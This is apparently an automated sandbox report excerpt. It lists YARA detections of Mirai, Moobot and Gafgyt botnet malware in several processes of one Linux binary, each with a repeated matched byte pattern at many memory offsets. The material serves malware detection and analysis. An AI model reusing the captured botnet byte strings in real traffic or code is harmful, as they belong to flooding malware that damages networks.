0x1556:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x156a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x157e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1592:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15a6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15ba:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15ce:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15e2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15f6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x160a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x161e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6286	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6286	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6286	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xeb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xef0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfcc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1008:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x101c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1030:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1044:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6287	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6287	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aa4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1acc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1af4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6288	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6288	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1767:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x177b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x178f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1807:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x181b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x182f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1843:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1857:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1893:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18a7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18e3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6289	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6289	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19b5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19c9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19dd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a05:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a19:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a2d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a41:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a55:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a69:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a7d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a91:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aa5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1acd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1af5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b09:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b1d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b31:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b45:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6290	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6290	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19ee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a02:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a16:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a2a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a3e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a52:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a66:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a7a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a8e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aa2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aca:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ade:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1af2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b06:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b1a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b2e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b42:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b56:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b7e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6291	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6291	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6291	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6292	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6292	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a05:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a19:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a2d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a41:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a55:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a69:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a7d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a91:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aa5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1acd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1af5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b09:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b1d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b31:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b45:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b59:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b81:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6293	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6293	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1778:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x178c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1804:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1818:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x182c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1840:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1854:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1868:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1890:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1908:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
